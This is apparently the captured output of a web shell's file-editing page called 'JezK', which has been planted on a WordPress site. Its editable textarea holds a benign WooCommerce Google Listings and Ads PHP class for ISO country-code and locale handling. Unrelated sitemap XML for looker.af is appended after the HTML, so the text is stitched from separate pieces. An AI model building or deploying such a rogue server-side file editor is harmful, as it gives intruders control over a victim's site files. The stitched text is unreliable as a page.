
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: ISOUtility.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
declare( strict_types=1 );

namespace Automattic\WooCommerce\GoogleListingsAndAds\Utility;

use Automattic\WooCommerce\GoogleListingsAndAds\Infrastructure\Service;
use Automattic\WooCommerce\GoogleListingsAndAds\Vendor\League\ISO3166\Exception\ISO3166Exception;
use Automattic\WooCommerce\GoogleListingsAndAds\Vendor\League\ISO3166\ISO3166DataProvider;

defined( &#039;ABSPATH&#039; ) || exit;

/**
 * Class ISOUtility
 *
 * @package Automattic\WooCommerce\GoogleListingsAndAds\Utility
 *
 * @since 1.5.0
 */
class ISOUtility implements Service {

	/**
	 * @var ISO3166DataProvider
	 */
	protected $iso3166_data_provider;

	/**
	 * ISOUtility constructor.
	 *
	 * @param ISO3166DataProvider $iso3166_data_provider
	 */
	public function __construct( ISO3166DataProvider $iso3166_data_provider ) {
		$this-&gt;iso3166_data_provider = $iso3166_data_provider;
	}

	/**
	 * Validate that the provided input is valid ISO 3166-1 alpha-2 country code.
	 *
	 * @param string $country_code
	 *
	 * @return bool
	 *
	 * @see https://wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements ISO 3166-1 alpha-2
	 *      officially assigned codes.
	 */
	public function is_iso3166_alpha2_country_code( string $country_code ): bool {
		try {
			$this-&gt;iso3166_data_provider-&gt;alpha2( $country_code );

			return true;
		} catch ( ISO3166Exception $exception ) {
			return false;
		}
	}

	/**
	 * Converts WordPress language code to IETF BCP 47 format.
	 *
	 * @param string $wp_locale
	 *
	 * @return string IETF BCP 47 language code or &#039;en-US&#039; if the language code cannot be converted.
	 *
	 * @see https://tools.ietf.org/html/bcp47 IETF BCP 47 language codes.
	 */
	public function wp_locale_to_bcp47( string $wp_locale ): string {
		if ( empty( $wp_locale ) || ! preg_match( &#039;/^[-_a-zA-Z0-9]{2,}$/&#039;, $wp_locale, $matches ) ) {
			return &#039;en-US&#039;;
		}

		return str_replace( &#039;_&#039;, &#039;-&#039;, $wp_locale );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
